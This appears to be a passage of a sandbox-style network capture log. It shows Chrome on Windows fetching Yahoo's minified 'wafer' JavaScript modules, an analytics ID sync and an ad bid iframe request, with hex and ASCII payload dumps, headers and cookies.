2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 69 64 3a 61 7d 2c 73 74 61 63 6b 3a 72 2e 73 74 61 63 6b 7c 7c 72 2e 6d 65 73 73 61 67 65 7d 29 2c 63 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 6e 61 74 69 76 65 2d 64 61 2d 74 72 69 67 67 65 72 2d 69 6e 70 72 6f 67 72 65 73 73 22 29 2c 63 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 68 29 2c 63 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 6c 29 2c 65 2e 64 65 73 74 72 6f 79 28 29 2c 65 2e 5f 73 74 61 74 65 2e 73 74 61 74 75 73 3d 32 2c 21 31 7d 29 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 21 31 29 7d 7d 2c 7b 6b 65 79 3a 22 73 68 6f 75 6c 64 50 72 65 66 65 74 63 68 46 6f 72 56 69 65 77 70 6f 72 74 22 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 5f 73 74 61 74 65 2e 73 68 6f 75 6c Data Ascii: id:a},stack:r.stack\|\|r.message}),c.classList.remove("wafer-native-da-trigger-inprogress"),c.classList.add(h),c.classList.remove(l),e.destroy(),e._state.status=2,!1})):Promise.resolve(!1)}},{key:"shouldPrefetchForViewport",set:function(e){this._state.shoul
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 68 3b 72 2b 2b 29 7b 76 61 72 20 6e 3d 74 5b 72 5d 3b 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 6e 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 6e 26 26 28 6e 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e 2e 6b 65 79 2c 6e 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 72 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 72 29 2c 6e 26 26 65 28 74 2c 6e 29 2c 74 7d 7d 28 29 2c 44 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2c 4e 3d 44 2e 62 61 73 65 2c 4c 3d 44 2e 75 74 69 6c 73 2c 78 3d 4c 2e 65 6c 65 6d 65 6e 74 49 6e 56 69 65 77 2c 6b 3d 4c 2e 66 65 74 63 Data Ascii: h;r++){var n=t[r];n.enumerable=n.enumerable\|\|!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}(),D=window.wafer,N=D.base,L=D.utils,x=L.elementInView,k=L.fetc
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 65 72 43 6c 61 73 73 3a 6a 7d 29 29 3b 72 65 74 75 72 6e 20 68 2e 5f 76 61 6c 69 64 61 74 65 57 69 74 68 54 68 72 6f 74 74 6c 65 3d 56 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 74 3d 41 72 72 61 79 28 65 29 2c 72 3d 30 3b 72 3c 65 3b 72 2b 2b 29 74 5b 72 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 72 5d 3b 68 2e 76 61 6c 69 64 61 74 65 2e 61 70 70 6c 79 28 68 2c 74 29 7d 2c 76 2c 68 29 2c 68 2e 5f 73 74 61 74 65 3d 68 2e 5f 73 74 61 74 65 7c 7c 7b 7d 2c 68 2e 73 79 6e 63 28 29 2c 68 7d 72 65 74 75 72 6e 20 63 28 74 2c 65 29 2c 45 28 74 2c 5b 7b 6b 65 79 3a 22 70 72 65 66 65 74 63 68 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c Data Ascii: erClass:j}));return h._validateWithThrottle=V(function(){for(var e=arguments.length,t=Array(e),r=0;r<e;r++)t[r]=arguments[r];h.validate.apply(h,t)},v,h),h._state=h._state\|\|{},h.sync(),h}return c(t,e),E(t,[{key:"prefetch",value:function(){var e=arguments.l
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 3a 30 2c 62 6f 64 79 3a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 53 28 7b 7d 2c 69 7c 7c 7b 7d 2c 7b 63 6f 6e 66 69 67 3a 45 7d 29 29 2c 74 69 6d 65 6f 75 74 3a 38 65 33 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 74 3d 65 2e 61 73 73 65 74 73 2c 72 3d 65 2e 68 74 6d 6c 3b 72 65 74 75 72 6e 20 49 28 72 2c 74 29 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 63 6c 65 61 72 46 65 74 63 68 49 6e 50 72 6f 67 72 65 73 73 28 73 29 2c 4e 2e 65 6d 69 74 57 61 66 65 72 45 76 65 6e 74 28 22 6e 61 74 69 76 65 44 61 3a 70 72 65 66 65 74 63 68 3a Data Ascii: :0,body:JSON.stringify(S({},i\|\|{},{config:E})),timeout:8e3}).then(function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.assets,r=e.html;return I(r,t)}).then(function(){t.clearFetchInProgress(s),N.emitWaferEvent("nativeDa:prefetch:
2024-04-27 22:41:53 UTC	75	IN	Data Raw: 6e 28 29 7b 7d 29 7d 7d 29 7d 7d 5d 29 2c 74 7d 28 4d 29 2c 58 3d 42 3b 74 2e 64 65 66 61 75 6c 74 3d 6e 65 77 20 58 28 7b 73 65 6c 65 63 74 6f 72 3a 22 77 61 66 65 72 2d 6e 61 74 69 76 65 2d 64 61 22 7d 29 7d 7d 29 7d 29 3b Data Ascii: n(){})}})}}]),t}(M),X=B;t.default=new X({selector:"wafer-native-da"})}})});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49847	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	539	OUT	GET /aaq/wf/wf-action-1.8.1-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:52 UTC	828	IN	HTTP/1.1 200 OK x-amz-id-2: rxepqrolhNJzaDKxwtClOKrANSRIs+EgyalPR7oozJcotxysV5+nEGzFkcbl5aa53cC69prMpbs= x-amz-request-id: DF9HTAPYDQS9ZDD6 Date: Sat, 27 Apr 2024 22:29:48 GMT Last-Modified: Thu, 21 Dec 2023 17:55:26 GMT ETag: "4443a60b3d3645610c9e65b7cc9f15bb" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: wiQ3AdVTneuswkykDVtSm3aaY9QhtZW9 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 13778 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 725 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 61 63 74 69 6f 6e 22 2c 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 61 63 74 69 6f 6e 22 5d 3d 65 28 29 3a 28 74 2e 77 61 66 65 72 3d 74 2e 77 61 66 65 72 7c 7c 7b 7d 2c 74 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 74 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c Data Ascii: !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("wafer-action",[],e):"object"==typeof exports?exports["wafer-action"]=e():(t.wafer=t.wafer\|\|{},t.wafer.wafers=t.wafer.wafers\|\|
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 65 26 26 6e 75 6c 6c 21 3d 3d 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 65 29 3b 74 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 65 26 26 65 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 74 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a Data Ascii: unction"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Obj
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 6e 61 6c 6c 79 7b 69 66 28 69 29 74 68 72 6f 77 20 6f 7d 7d 72 65 74 75 72 6e 20 72 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 72 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 3b 69 66 28 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 20 69 6e 20 4f 62 6a 65 63 74 28 65 29 29 72 65 74 75 72 6e 20 74 28 65 2c 72 29 3b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 64 65 73 74 72 75 63 74 75 72 65 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 22 29 7d 7d 28 29 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 65 2e 6c 65 6e 67 74 Data Ascii: nally{if(i)throw o}}return r}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),f=function(){function t(t,e){for(var r=0;r<e.lengt
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 67 6f 72 79 22 29 7c 7c 22 22 2c 49 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 67 2b 22 61 63 74 69 6f 6e 2d 69 64 22 29 7c 7c 75 2c 50 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 67 2b 22 61 63 74 69 6f 6e 2d 6c 61 62 65 6c 22 29 2c 4c 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 67 2b 22 61 63 74 69 6f 6e 2d 79 6c 6b 22 29 2c 43 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 67 2b 22 61 63 74 69 6f 6e 2d 6e 61 6d 65 22 29 7c 7c 66 2c 6a 3d 50 26 26 50 2e 73 70 6c 69 74 28 22 7c 22 29 7c 7c 5b 5d 2c 52 3d 70 28 6a 2c 32 29 2c 48 3d 52 5b 30 5d 2c 42 3d 52 5b 31 5d 2c 46 3d 4c 26 26 4c 2e 73 70 6c 69 74 28 22 7c 22 29 7c 7c 5b 5d 2c 57 3d 70 28 46 2c 32 29 2c 78 3d 57 5b 30 5d 2c 4e 3d 57 5b 31 5d 2c 44 3d 74 2e 67 65 74 41 74 74 72 69 62 75 Data Ascii: gory")\|\|"",I=t.getAttribute(g+"action-id")\|\|u,P=t.getAttribute(g+"action-label"),L=t.getAttribute(g+"action-ylk"),C=t.getAttribute(g+"action-name")\|\|f,j=P&&P.split("\|")\|\|[],R=p(j,2),H=R[0],B=R[1],F=L&&L.split("\|")\|\|[],W=p(F,2),x=W[0],N=W[1],D=t.getAttribu
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 6e 50 72 6f 67 72 65 73 73 3a 21 31 7d 2c 22 72 65 61 63 74 69 6f 6e 73 22 3d 3d 3d 54 26 26 28 76 2e 5f 75 74 69 6c 2e 69 73 52 65 61 63 74 69 6f 6e 3d 21 30 2c 76 2e 5f 73 74 61 74 65 2e 69 73 52 65 61 63 74 69 6f 6e 46 65 74 63 68 65 64 3d 21 31 29 2c 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 68 61 73 2d 61 63 74 69 6f 6e 2d 63 6c 69 63 6b 22 2c 22 68 61 73 2d 77 61 66 65 72 2d 63 6c 69 63 6b 22 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 2e 73 65 74 41 63 74 69 6f 6e 53 74 61 74 75 73 28 74 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 4f 29 29 7d 2c 30 29 2c 76 7d 72 65 74 75 72 6e 20 6e 28 65 2c 74 29 2c 66 28 65 2c 5b 7b 6b 65 79 3a 22 72 65 6e 64 65 72 41 63 74 69 6f 6e 54 65 6d 70 6c 61 74 65 Data Ascii: nProgress:!1},"reactions"===T&&(v._util.isReaction=!0,v._state.isReactionFetched=!1),t.classList.add("has-action-click","has-wafer-click"),setTimeout(function(){v.setActionStatus(t.classList.contains(O))},0),v}return n(e,t),f(e,[{key:"renderActionTemplate
2024-04-27 22:41:52 UTC	1011	IN	Data Raw: 73 4c 69 73 74 2e 61 64 64 28 4f 29 29 3a 28 6e 26 26 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 79 6c 6b 22 2c 73 2b 22 3b 22 2b 69 29 2c 6f 26 26 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 69 74 6c 65 22 2c 6f 29 2c 65 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 4f 29 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 74 72 69 67 67 65 72 54 6f 70 69 63 41 63 74 69 6f 6e 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 72 3d 65 2e 61 70 70 49 64 2c 69 3d 65 2e 61 63 74 69 6f 6e 48 6f 73 74 2c 6f 3d 65 2e 62 6f 6f 6b 6d 61 72 6b 41 63 74 69 6f 6e 48 6f 73 74 2c 6e 3d 65 2e 69 64 2c 73 3d 65 2e 73 75 62 54 79 70 65 2c 63 3d 65 2e 73 75 62 54 79 70 65 43 61 74 65 67 6f 72 79 Data Ascii: sList.add(O)):(n&&e.setAttribute("data-ylk",s+";"+i),o&&e.setAttribute("title",o),e.classList.remove(O))}}},{key:"triggerTopicAction",value:function(t){var e=this._util,r=e.appId,i=e.actionHost,o=e.bookmarkActionHost,n=e.id,s=e.subType,c=e.subTypeCategory
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 42 6f 6f 6b 6d 61 72 6b 22 3d 3d 3d 6c 3f 28 70 3d 22 64 65 6c 65 74 65 46 6f 6c 64 65 72 22 3d 3d 3d 73 3f 69 2b 22 61 70 69 2f 76 31 2f 62 6f 6f 6b 6d 61 72 6b 73 2f 66 6f 6c 64 65 72 73 2f 22 2b 6e 2b 22 3f 61 70 70 49 64 3d 22 2b 72 3a 69 2b 22 61 70 69 2f 76 31 2f 62 6f 6f 6b 6d 61 72 6b 73 2f 69 74 65 6d 73 2f 22 2b 6e 2b 22 3f 61 70 70 49 64 3d 22 2b 72 2c 62 3d 7b 43 72 75 6d 62 3a 74 7d 29 3a 22 6c 6f 63 61 74 69 6f 6e 22 3d 3d 3d 6c 26 26 28 6d 3d 7b 72 65 71 75 65 73 74 73 3a 7b 67 30 3a 7b 72 65 73 6f 75 72 63 65 3a 22 57 65 61 74 68 65 72 4c 6f 63 61 74 69 6f 6e 53 65 72 76 69 63 65 2e 66 61 76 6f 72 69 74 65 4c 6f 63 61 74 69 6f 6e 22 2c 6f 70 65 72 61 74 69 6f 6e 3a 74 68 69 73 2e 5f 73 74 61 74 65 2e 61 63 74 69 6f 6e 53 74 61 74 75 73 3f Data Ascii: Bookmark"===l?(p="deleteFolder"===s?i+"api/v1/bookmarks/folders/"+n+"?appId="+r:i+"api/v1/bookmarks/items/"+n+"?appId="+r,b={Crumb:t}):"location"===l&&(m={requests:{g0:{resource:"WeatherLocationService.favoriteLocation",operation:this._state.actionStatus?
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 67 67 65 72 54 6f 70 69 63 41 63 74 69 6f 6e 28 74 29 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 72 3d 74 7c 7c 7b 7d 2c 61 3d 72 2e 72 65 73 75 6c 74 2c 69 3d 76 6f 69 64 20 30 3d 3d 3d 61 3f 7b 7d 3a 61 2c 63 3d 69 2e 73 75 63 63 65 73 73 2c 75 3d 76 6f 69 64 20 30 3d 3d 3d 63 3f 7b 7d 3a 63 2c 6c 3d 75 2e 65 6e 74 69 74 69 65 73 2c 70 3d 76 6f 69 64 20 30 3d 3d 3d 6c 3f 5b 5d 3a 6c 2c 66 3d 65 2e 5f 75 74 69 6c 2c 64 3d 66 2e 69 64 2c 6d 3d 66 2e 73 75 62 54 79 70 65 2c 68 3d 66 2e 74 79 70 65 2c 79 3d 7b 69 64 3a 64 2c 6e 61 6d 65 3a 73 2c 73 75 62 54 79 70 65 3a 6d 2c 74 79 70 65 3a 68 7d 2c 76 3d 22 66 6f 6c 6c 6f 77 22 3d 3d 3d 68 26 26 70 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e Data Ascii: ggerTopicAction(t)}).then(function(t){var r=t\|\|{},a=r.result,i=void 0===a?{}:a,c=i.success,u=void 0===c?{}:c,l=u.entities,p=void 0===l?[]:l,f=e._util,d=f.id,m=f.subType,h=f.type,y={id:d,name:s,subType:m,type:h},v="follow"===h&&p.some(function(t){return t.
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 61 63 74 69 6f 6e 2d 62 6f 75 6e 64 61 72 79 2d 65 72 72 6f 72 22 29 29 2c 65 2e 5f 73 74 61 74 65 2e 61 63 74 69 6f 6e 53 74 61 74 75 73 3d 21 65 2e 5f 73 74 61 74 65 2e 61 63 74 69 6f 6e 53 74 61 74 75 73 2c 65 2e 72 65 6e 64 65 72 41 63 74 69 6f 6e 54 65 6d 70 6c 61 74 65 28 7b 74 79 70 65 3a 22 65 72 72 6f 72 22 7d 29 2c 62 2e 65 6d 69 74 57 61 66 65 72 45 76 65 6e 74 28 22 61 63 74 69 6f 6e 3a 66 61 69 6c 65 64 22 2c 7b 65 6c 65 6d 3a 6f 2c 6d 65 74 61 3a 7b 7d 7d 29 2c 65 2e 73 65 74 41 63 74 69 6f 6e 53 74 61 74 75 73 28 65 2e 5f 73 74 61 74 65 2e 61 63 74 69 6f 6e 53 74 61 74 75 73 29 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 43 6c 69 63 6b 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 Data Ascii: assList.add("wafer-action-boundary-error")),e._state.actionStatus=!e._state.actionStatus,e.renderActionTemplate({type:"error"}),b.emitWaferEvent("action:failed",{elem:o,meta:{}}),e.setActionStatus(e._state.actionStatus)})}},{key:"handleClick",value:functi
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 69 6f 6e 48 6f 73 74 3a 6e 2c 61 70 70 49 64 3a 75 2c 62 6f 6f 6b 6d 61 72 6b 41 63 74 69 6f 6e 48 6f 73 74 3a 6c 2c 63 72 75 6d 62 3a 70 2c 70 72 6f 76 69 64 65 72 42 72 61 6e 64 50 72 6f 70 65 72 74 79 3a 66 2c 73 65 6c 65 63 74 6f 72 3a 69 7d 2c 57 61 66 65 72 43 6c 61 73 73 3a 4c 7d 29 29 2c 6d 3d 64 3b 72 65 74 75 72 6e 20 64 2e 73 79 6e 63 28 29 2c 64 2e 5f 73 74 61 74 65 3d 43 28 7b 7d 2c 64 2e 5f 73 74 61 74 65 2c 7b 69 64 49 6e 73 74 61 6e 63 65 4d 61 70 70 69 6e 67 3a 6e 65 77 20 4d 61 70 7d 29 2c 4c 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 63 74 69 6f 6e 53 74 61 74 75 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 6d 61 70 70 69 6e 67 49 64 2c 72 3d 6d 2e 5f 73 74 61 74 65 2e 69 64 49 6e 73 74 Data Ascii: ionHost:n,appId:u,bookmarkActionHost:l,crumb:p,providerBrandProperty:f,selector:i},WaferClass:L})),m=d;return d.sync(),d._state=C({},d._state,{idInstanceMapping:new Map}),L.prototype.setActionStatus=function(t){var e=this._util.mappingId,r=m._state.idInst

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49851	3.225.218.10	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	857	OUT	GET /ups/58784/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC=19cw~2i3y; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A
2024-04-27 22:41:53 UTC	433	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:53 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC=19cw~2i3y;Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Sun, 27-Apr-2025 22:41:53 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.112
2024-04-27 22:41:53 UTC	54	IN	Data Raw: 33 30 0d 0a 7b 22 61 78 69 64 22 3a 20 22 79 2d 59 68 55 5f 34 56 6c 45 32 75 4b 65 4e 58 37 50 48 4d 38 58 6f 6e 72 62 6b 65 7a 51 48 62 30 5a 7e 41 22 7d 0d 0a Data Ascii: 30{"axid": "y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A"}
2024-04-27 22:41:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49846	35.83.92.21	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	1068	OUT	GET /bid/yoo/adslot/13885/?pa=1 HTTP/1.1 Host: west-bid-gps.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-04-27 22:41:53 UTC	1451	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:53 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1302 Connection: close Access-Control-Allow-Origin: * X-Allow-Fledge: true Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" Public-Key-Pins-Report-Only: max-age=2592000; pin-sha256="2fRAUXyxl4A1/XHrKNBmc8bTkzA7y4FB/GLJuNAzCqY="; pin-sha256="2oALgLKofTmeZvoZ1y/fSZg7R9jPMix8eVA6DH4o/q8="; pin-sha256="Gtk3r1evlBrs0hG3fm3VoM19daHexDWP//OCmeeMr5M="; pin-sha256="I/Lt/z7ekCWanjD0Cvj5EqXls2lOaThEA0H2Bg4BT/o="; pin-sha256="JbQbUG5JMJUoI6brnx0x3vZF6jilxsapbXGVfjhN8Fg="; pin-sha256="SVqWumuteCQHvVIaALrOZXuzVVVeS7f4FGxxu6V+es4="; pin-sha256="UZJDjsNp1+4M5x9cbbdflB779y5YRBcV6Z6rBMLIrO4="; pin-sha256="Wd8xe/qfTwq3ylFNd3IpaqLHZbh2ZNCLluVzmeNkcpw="; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; pin-sha256="cAajgxHlj7GTSEIzIYIQxmEloOSoJq7VOaxWHfv72QM="; pin-sha256="dolnbtzEBnELx/9lOEQ22e6OZO/QNb6VSSX2XHA3E7A="; pin-sha256="i7WTqTvh0OioIruIfFR4kMPnBqrS2rdiVPl/s2uC/CY="; 